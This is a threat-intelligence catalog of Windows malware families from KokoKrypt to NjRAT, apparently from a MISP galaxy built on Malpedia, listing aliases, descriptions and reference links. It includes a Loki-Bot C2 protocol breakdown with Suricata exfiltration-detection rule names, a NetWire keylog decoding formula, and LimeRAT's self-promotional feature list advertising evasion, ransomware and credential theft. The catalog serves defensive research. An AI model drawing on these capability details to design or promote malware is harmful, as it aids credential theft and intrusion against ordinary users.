The tag is: misp-galaxy:malpedia="KokoKrypt"
KokoKrypt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.kokokrypt |
KOMPROGO
KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management, Creating a reverse shell, running WMI queries, retrieving information about the infected system.
The tag is: misp-galaxy:malpedia="KOMPROGO"
KOMPROGO is also known as:
Konni
The tag is: misp-galaxy:malpedia="Konni"
Konni is also known as:
KoobFace
The tag is: misp-galaxy:malpedia="KoobFace"
KoobFace is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface |
Korlia
The tag is: misp-galaxy:malpedia="Korlia"
Korlia is also known as:
-
Bisonal
Links |
https://securitykitten.github.io/2014/11/25/curious-korlia.html |
https://www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf |
Kovter
Kovter is a Police Ransomware
Feb 2012 - Police Ransomware Aug 2013 - Became AD Fraud Mar 2014 - Ransomware to AD Fraud malware June 2014 - Distributed from sweet orange exploit kit Dec 2014 - Run affiliated node Apr 2015 - Spread via fiesta and nuclear pack May 2015 - Kovter become fileless 2016 - Malvertising campaign on Chrome and Firefox June 2016 - Change in persistence July 2017 - Nemucod and Kovter was packed together Jan 2018 - Cyclance report on Persistence
The tag is: misp-galaxy:malpedia="Kovter"
Kovter is also known as:
Links |
https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf |
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/ |
KPOT Stealer
The tag is: misp-galaxy:malpedia="KPOT Stealer"
KPOT Stealer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer |
https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/ |
Kraken
The tag is: misp-galaxy:malpedia="Kraken"
Kraken is also known as:
Links |
KrBanker
The tag is: misp-galaxy:malpedia="KrBanker"
KrBanker is also known as:
-
BlackMoon
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker |
https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html |
https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan |
http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming_-BlackMoon_Ver_1.0_External_ENG.pdf[http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming-_BlackMoon_Ver_1.0_External_ENG.pdf] |
KrDownloader
The tag is: misp-galaxy:malpedia="KrDownloader"
KrDownloader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader |
Kronos
The tag is: misp-galaxy:malpedia="Kronos"
Kronos is also known as:
-
Osiris
KSL0T
A keylogger used by Turla.
The tag is: misp-galaxy:malpedia="KSL0T"
KSL0T is also known as:
Links |
https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/ |
Kuaibu
The tag is: misp-galaxy:malpedia="Kuaibu"
Kuaibu is also known as:
-
Barys
-
Gofot
-
Kuaibpy
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8 |
Kuluoz
The tag is: misp-galaxy:malpedia="Kuluoz"
Kuluoz is also known as:
Links |
Kurton
The tag is: misp-galaxy:malpedia="Kurton"
Kurton is also known as:
Links |
Kutaki
The tag is: misp-galaxy:malpedia="Kutaki"
Kutaki is also known as:
Links |
https://cofense.com/kutaki-malware-bypasses-gateways-steal-users-credentials/ |
Kwampirs
Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes "q=[ENCRYPTED DATA]" in the URI.
The tag is: misp-galaxy:malpedia="Kwampirs"
Kwampirs is also known as:
Lambert
The tag is: misp-galaxy:malpedia="Lambert"
Lambert is also known as:
Lamdelin
The tag is: misp-galaxy:malpedia="Lamdelin"
Lamdelin is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.lamdelin |
http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/ |
LatentBot
The tag is: misp-galaxy:malpedia="LatentBot"
LatentBot is also known as:
Lazarus (Windows)
The tag is: misp-galaxy:malpedia="Lazarus (Windows)"
Lazarus (Windows) is also known as:
Laziok
The tag is: misp-galaxy:malpedia="Laziok"
Laziok is also known as:
LazyCat
The tag is: misp-galaxy:malpedia="LazyCat"
LazyCat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.lazycat |
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/ |
Leash
The tag is: misp-galaxy:malpedia="Leash"
Leash is also known as:
Links |
Leouncia
The tag is: misp-galaxy:malpedia="Leouncia"
Leouncia is also known as:
-
shoco
Lethic
Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.
The tag is: misp-galaxy:malpedia="Lethic"
Lethic is also known as:
LimeRAT
## Description Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves.
Main Features
-
.NET
-
Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0
-
Connection
-
Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports
-
Plugin
-
Using plugin system to decrease stub’s size and lower the AV detection
-
Encryption
-
The communication between server & client is encrypted with AES
-
Spreading
-
Infecting all files and folders on USB drivers
-
Bypass
-
Low AV detection and undetected startup method
-
Lightweight
-
Payload size is about 25 KB
-
Anti Virtual Machines
-
Uninstall itself if the machine is virtual to avoid scanning or analyzing
-
Ransomware
-
Encrypting files on all HHD and USB with .Lime extension
-
XMR Miner
-
High performance Monero CPU miner with user idle\active optimizations
-
DDoS
-
Creating a powerful DDOS attack to make an online service unavailable
-
Crypto Stealer
-
Stealing Cryptocurrency sensitive data
-
Screen-Locker
-
Prevents user from accessing their Windows GUI
-
And more
-
On Connect Auto Task
-
Force enable Windows RDP
-
Persistence
-
File manager
-
Passowrds stealer
-
Remote desktop
-
Bitcoin grabber
-
Downloader
-
Keylogger
The tag is: misp-galaxy:malpedia="LimeRAT"
LimeRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat |
https://blog.yoroi.company/research/limerat-spreads-in-the-wild/ |
Limitail
The tag is: misp-galaxy:malpedia="Limitail"
Limitail is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.limitail |
Listrix
The tag is: misp-galaxy:malpedia="Listrix"
Listrix is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix |
LiteHTTP
According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system.
The source is on GitHub: https://github.com/zettabithf/LiteHTTP
The tag is: misp-galaxy:malpedia="LiteHTTP"
LiteHTTP is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp |
https://malware.news/t/recent-litehttp-activities-and-iocs/21053 |
LockerGoga
The tag is: misp-galaxy:malpedia="LockerGoga"
LockerGoga is also known as:
Locky
The tag is: misp-galaxy:malpedia="Locky"
Locky is also known as:
Locky (Decryptor)
The tag is: misp-galaxy:malpedia="Locky (Decryptor)"
Locky (Decryptor) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor |
Locky Loader
For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.
The tag is: misp-galaxy:malpedia="Locky Loader"
Locky Loader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader |
LockPOS
The tag is: misp-galaxy:malpedia="LockPOS"
LockPOS is also known as:
Loda
Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.
The tag is: misp-galaxy:malpedia="Loda"
Loda is also known as:
-
Nymeria
Links |
https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware |
https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/ |
Logedrut
The tag is: misp-galaxy:malpedia="Logedrut"
Logedrut is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.logedrut |
LogPOS
The tag is: misp-galaxy:malpedia="LogPOS"
LogPOS is also known as:
Links |
https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html |
LoJax
The tag is: misp-galaxy:malpedia="LoJax"
LoJax is also known as:
Links |
https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf |
Loki Password Stealer (PWS)
"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe
Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.
Loki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.
The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.
Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\ C98066\”.
There can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:
FILE EXTENSION FILE DESCRIPTION .exe A copy of the malware that will execute every time the user account is logged into .lck A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts .hdb A database of hashes for data that has already been exfiltrated to the C2 server .kdb A database of keylogger data that has yet to be sent to the C2 server
If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.
The first packet transmitted by Loki-Bot contains application data.
The second packet transmitted by Loki-Bot contains decrypted Windows credentials.
The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.
Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.
The first WORD of the HTTP Payload represents the Loki-Bot version.
The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:
BYTE PAYLOAD TYPE 0x26 Stolen Cryptocurrency Wallet 0x27 Stolen Application Data 0x28 Get C2 Commands from C2 Server 0x29 Stolen File 0x2A POS (Point of Sale?) 0x2B Keylogger Data 0x2C Screenshot
The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!
Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.
The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.
Loki-Bot can accept the following instructions from the C2 Server:
BYTE INSTRUCTION DESCRIPTION 0x00 Download EXE & Execute 0x01 Download DLL & Load #1 0x02 Download DLL & Load #2 0x08 Delete HDB File 0x09 Start Keylogger 0x0A Mine & Steal Data 0x0E Exit Loki-Bot 0x0F Upgrade Loki-Bot 0x10 Change C2 Polling Frequency 0x11 Delete Executables & Exit
Suricata Signatures RULE SID RULE NAME 2024311 ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected 2024312 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1 2024313 ET TROJAN Loki Bot Request for C2 Commands Detected M1 2024314 ET TROJAN Loki Bot File Exfiltration Detected 2024315 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1 2024316 ET TROJAN Loki Bot Screenshot Exfiltration Detected 2024317 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2 2024318 ET TROJAN Loki Bot Request for C2 Commands Detected M2 2024319 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2
The tag is: misp-galaxy:malpedia="Loki Password Stealer (PWS)"
Loki Password Stealer (PWS) is also known as:
-
Loki
-
LokiBot
-
LokiPWS
Lordix
The tag is: misp-galaxy:malpedia="Lordix"
Lordix is also known as:
Links |
LOWBALL
LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443.
The tag is: misp-galaxy:malpedia="LOWBALL"
LOWBALL is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
Luminosity RAT
The tag is: misp-galaxy:malpedia="Luminosity RAT"
Luminosity RAT is also known as:
LunchMoney
An uploader that can exfiltrate files to Dropbox.
The tag is: misp-galaxy:malpedia="LunchMoney"
LunchMoney is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney |
Lurk
The tag is: misp-galaxy:malpedia="Lurk"
Lurk is also known as:
Links |
https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader |
Luzo
The tag is: misp-galaxy:malpedia="Luzo"
Luzo is also known as:
Links |
Lyposit
The tag is: misp-galaxy:malpedia="Lyposit"
Lyposit is also known as:
-
Adneukine
-
Bomba Locker
-
Lucky Locker
Machete
The tag is: misp-galaxy:malpedia="Machete"
Machete is also known as:
-
El Machete
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.machete |
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html |
MadMax
The tag is: misp-galaxy:malpedia="MadMax"
MadMax is also known as:
Links |
Magala
The tag is: misp-galaxy:malpedia="Magala"
Magala is also known as:
Links |
https://securelist.com/the-magala-trojan-clicker-a-hidden-advertising-threat/78920/ |
Magniber
The tag is: misp-galaxy:malpedia="Magniber"
Magniber is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber |
MajikPos
The tag is: misp-galaxy:malpedia="MajikPos"
MajikPos is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos |
http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/ |
Makadocs
The tag is: misp-galaxy:malpedia="Makadocs"
Makadocs is also known as:
MakLoader
The tag is: misp-galaxy:malpedia="MakLoader"
MakLoader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader |
https://twitter.com/James_inthe_box/status/1046844087469391872 |
Maktub
The tag is: misp-galaxy:malpedia="Maktub"
Maktub is also known as:
MalumPOS
The tag is: misp-galaxy:malpedia="MalumPOS"
MalumPOS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos |
http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf |
Mamba
The tag is: misp-galaxy:malpedia="Mamba"
Mamba is also known as:
-
DiskCryptor
-
HDDCryptor
Links |
https://securelist.com/the-return-of-mamba-ransomware/79403/ |
ManameCrypt
The tag is: misp-galaxy:malpedia="ManameCrypt"
ManameCrypt is also known as:
-
CryptoHost
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt |
Mangzamel
The tag is: misp-galaxy:malpedia="Mangzamel"
Mangzamel is also known as:
-
junidor
-
mengkite
-
vedratve
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel |
Manifestus
The tag is: misp-galaxy:malpedia="Manifestus"
Manifestus is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.manifestus_ransomware |
ManItsMe
The tag is: misp-galaxy:malpedia="ManItsMe"
ManItsMe is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme |
MAPIget
The tag is: misp-galaxy:malpedia="MAPIget"
MAPIget is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget |
Marap
Marap is a downloader, named after its command and control (C&C) phone home parameter "param" spelled backwards. It is written in C and contains a few notable anti-analysis features.
The tag is: misp-galaxy:malpedia="Marap"
Marap is also known as:
Links |
Matrix Banker
The tag is: misp-galaxy:malpedia="Matrix Banker"
Matrix Banker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker |
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/ |
Matrix Ransom
The tag is: misp-galaxy:malpedia="Matrix Ransom"
Matrix Ransom is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom |
https://www.blackhoodie.re/assets/archive/Matrix_Ransomware_blackhoodie.pdf |
Matryoshka RAT
The tag is: misp-galaxy:malpedia="Matryoshka RAT"
Matryoshka RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat |
https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf |
Matsnu
The tag is: misp-galaxy:malpedia="Matsnu"
Matsnu is also known as:
Links |
https://blog.checkpoint.com/wp-content/uploads/2015/07/matsnu-malwareid-technical-brief.pdf |
MBRlock
This ransomware modifies the master boot record of the victim's computer so that it shows a ransom note before Windows starts.
The tag is: misp-galaxy:malpedia="MBRlock"
MBRlock is also known as:
-
DexLocker
Mebromi
The tag is: misp-galaxy:malpedia="Mebromi"
Mebromi is also known as:
-
MyBios
MECHANICAL
The tag is: misp-galaxy:malpedia="MECHANICAL"
MECHANICAL is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical |
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/ |
Medre
The tag is: misp-galaxy:malpedia="Medre"
Medre is also known as:
Links |
http://contagiodump.blogspot.com/2012/06/medrea-autocad-worm-samples.html |
Medusa
Medusa is a DDoS bot written in .NET 2.0. In its current incarnation its C&C protocol is based on HTTP, while its predecessor made use of IRC.
The tag is: misp-galaxy:malpedia="Medusa"
Medusa is also known as:
Links |
https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/ |
https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/ |
Merlin
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
The tag is: misp-galaxy:malpedia="Merlin"
Merlin is also known as:
Links |
http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html |
http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html |
Metamorfo
The tag is: misp-galaxy:malpedia="Metamorfo"
Metamorfo is also known as:
-
Casbaneiro
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo |
https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html |
Mewsei
The tag is: misp-galaxy:malpedia="Mewsei"
Mewsei is also known as:
Links |
Miancha
The tag is: misp-galaxy:malpedia="Miancha"
Miancha is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha |
https://www.contextis.com//documents/30/TA10009_20140127_-CTI_Threat_Advisory-The_Monju_Incident1.pdf[https://www.contextis.com//documents/30/TA10009_20140127-CTI_Threat_Advisory-_The_Monju_Incident1.pdf] |
Micrass
The tag is: misp-galaxy:malpedia="Micrass"
Micrass is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass |
Microcin
The tag is: misp-galaxy:malpedia="Microcin"
Microcin is also known as:
Micropsia
The tag is: misp-galaxy:malpedia="Micropsia"
Micropsia is also known as:
Mikoponi
The tag is: misp-galaxy:malpedia="Mikoponi"
Mikoponi is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi |
MILKMAID
The tag is: misp-galaxy:malpedia="MILKMAID"
MILKMAID is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid |
MimiKatz
The tag is: misp-galaxy:malpedia="MimiKatz"
MimiKatz is also known as:
MiniASP
The tag is: misp-galaxy:malpedia="MiniASP"
MiniASP is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp |
Mirage
The tag is: misp-galaxy:malpedia="Mirage"
Mirage is also known as:
Links |
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/ |
MirageFox
The tag is: misp-galaxy:malpedia="MirageFox"
MirageFox is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox |
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/ |
Mirai (Windows)
The tag is: misp-galaxy:malpedia="Mirai (Windows)"
Mirai (Windows) is also known as:
Misdat
The tag is: misp-galaxy:malpedia="Misdat"
Misdat is also known as:
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf |
Misfox
The tag is: misp-galaxy:malpedia="Misfox"
Misfox is also known as:
-
MixFox
-
ModPack
Links |
Miuref
The tag is: misp-galaxy:malpedia="Miuref"
Miuref is also known as:
Links |
MM Core
The tag is: misp-galaxy:malpedia="MM Core"
MM Core is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core |
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose |
MobiRAT
The tag is: misp-galaxy:malpedia="MobiRAT"
MobiRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mobi_rat |
https://blog.malwarebytes.com/threat-analysis/2017/07/malware-abusing-ffmpeg/ |
Mocton
The tag is: misp-galaxy:malpedia="Mocton"
Mocton is also known as:
Links |
ModPOS
The tag is: misp-galaxy:malpedia="ModPOS"
ModPOS is also known as:
-
straxbot
Links |
https://www.fireeye.com/blog/threat-research/2015/11/modpos.html |
https://twitter.com/physicaldrive0/status/670258429202530306 |
Moker
The tag is: misp-galaxy:malpedia="Moker"
Moker is also known as:
Mokes (Windows)
The tag is: misp-galaxy:malpedia="Mokes (Windows)"
Mokes (Windows) is also known as:
Links |
Mole
The tag is: misp-galaxy:malpedia="Mole"
Mole is also known as:
Links |
https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/ |
Molerat Loader
The tag is: misp-galaxy:malpedia="Molerat Loader"
Molerat Loader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader |
Monero Miner
The tag is: misp-galaxy:malpedia="Monero Miner"
Monero Miner is also known as:
-
CoinMiner
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner |
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/ |
MoonWind
The tag is: misp-galaxy:malpedia="MoonWind"
MoonWind is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind |
Morphine
The tag is: misp-galaxy:malpedia="Morphine"
Morphine is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.morphine |
Morto
The tag is: misp-galaxy:malpedia="Morto"
Morto is also known as:
Links |
http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html |
Mosquito
The tag is: misp-galaxy:malpedia="Mosquito"
Mosquito is also known as:
Moure
The tag is: misp-galaxy:malpedia="Moure"
Moure is also known as:
Links |
mozart
The tag is: misp-galaxy:malpedia="mozart"
mozart is also known as:
Links |
https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html |
MPKBot
The tag is: misp-galaxy:malpedia="MPKBot"
MPKBot is also known as:
-
MPK
Links |
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf |
Multigrain POS
The tag is: misp-galaxy:malpedia="Multigrain POS"
Multigrain POS is also known as:
murkytop
a command-line reconnaissance tool. It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts.
The tag is: misp-galaxy:malpedia="murkytop"
murkytop is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop |
Murofet
The tag is: misp-galaxy:malpedia="Murofet"
Murofet is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet |
Mutabaha
The tag is: misp-galaxy:malpedia="Mutabaha"
Mutabaha is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha |
MyKings Spreader
The tag is: misp-galaxy:malpedia="MyKings Spreader"
MyKings Spreader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader |
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/ |
MyloBot
The tag is: misp-galaxy:malpedia="MyloBot"
MyloBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot |
N40
Botnet with focus on banks in Latin America and South America. Relies on DLL Sideloading attacks to execute malicious DLL files. Uses legitimate VMWare executable in attacks. As of March 2019, the malware is under active development with updated versions coming out on persistent basis.
The tag is: misp-galaxy:malpedia="N40"
N40 is also known as:
Nabucur
The tag is: misp-galaxy:malpedia="Nabucur"
Nabucur is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur |
Nagini
The tag is: misp-galaxy:malpedia="Nagini"
Nagini is also known as:
Links |
http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/ |
Naikon
The tag is: misp-galaxy:malpedia="Naikon"
Naikon is also known as:
Links |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
Nanocore RAT
The tag is: misp-galaxy:malpedia="Nanocore RAT"
Nanocore RAT is also known as:
NanoLocker
The tag is: misp-galaxy:malpedia="NanoLocker"
NanoLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.nano_locker |
Narilam
The tag is: misp-galaxy:malpedia="Narilam"
Narilam is also known as:
Nautilus
The tag is: misp-galaxy:malpedia="Nautilus"
Nautilus is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus |
NavRAT
The tag is: misp-galaxy:malpedia="NavRAT"
NavRAT is also known as:
Links |
Necurs
The tag is: misp-galaxy:malpedia="Necurs"
Necurs is also known as:
-
nucurs
Nemim
The tag is: misp-galaxy:malpedia="Nemim"
Nemim is also known as:
-
Nemain
Links |
https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf |
NetC
The tag is: misp-galaxy:malpedia="NetC"
NetC is also known as:
Links |
NETEAGLE
The tag is: misp-galaxy:malpedia="NETEAGLE"
NETEAGLE is also known as:
-
ScoutEagle
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle |
Netrepser
The tag is: misp-galaxy:malpedia="Netrepser"
Netrepser is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger |
https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/ |
NetSupportManager RAT
The tag is: misp-galaxy:malpedia="NetSupportManager RAT"
NetSupportManager RAT is also known as:
NetTraveler
The tag is: misp-galaxy:malpedia="NetTraveler"
NetTraveler is also known as:
-
TravNet
NetWire RC
Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.
Keylog files are stored on the infected machine in an obfuscated form. The algorithm is:
for i in range(0,num_read): buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF
The tag is: misp-galaxy:malpedia="NetWire RC"
NetWire RC is also known as:
-
Recam
Neuron
The tag is: misp-galaxy:malpedia="Neuron"
Neuron is also known as:
Links |
Neutrino
The tag is: misp-galaxy:malpedia="Neutrino"
Neutrino is also known as:
-
Kasidet
Neutrino POS
The tag is: misp-galaxy:malpedia="Neutrino POS"
Neutrino POS is also known as:
-
Jimmy
NewCore RAT
The tag is: misp-galaxy:malpedia="NewCore RAT"
NewCore RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat |
NewPosThings
The tag is: misp-galaxy:malpedia="NewPosThings"
NewPosThings is also known as:
NewsReels
The tag is: misp-galaxy:malpedia="NewsReels"
NewsReels is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels |
NewCT
The tag is: misp-galaxy:malpedia="NewCT"
NewCT is also known as:
-
CT
Links |
Nexster Bot
The tag is: misp-galaxy:malpedia="Nexster Bot"
Nexster Bot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot |
NexusLogger
The tag is: misp-galaxy:malpedia="NexusLogger"
NexusLogger is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger |
https://twitter.com/PhysicalDrive0/status/842853292124360706 |
Ngioweb
The tag is: misp-galaxy:malpedia="Ngioweb"
Ngioweb is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb |
https://research.checkpoint.com/ramnits-network-proxy-servers/ |
nitlove
The tag is: misp-galaxy:malpedia="nitlove"
nitlove is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove |
https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html |
Nitol
The tag is: misp-galaxy:malpedia="Nitol"
Nitol is also known as:
Links |
NjRAT
RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."
It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.
The tag is: misp-galaxy:malpedia="NjRAT"
NjRAT is also known as:
-
Bladabindi
Links |
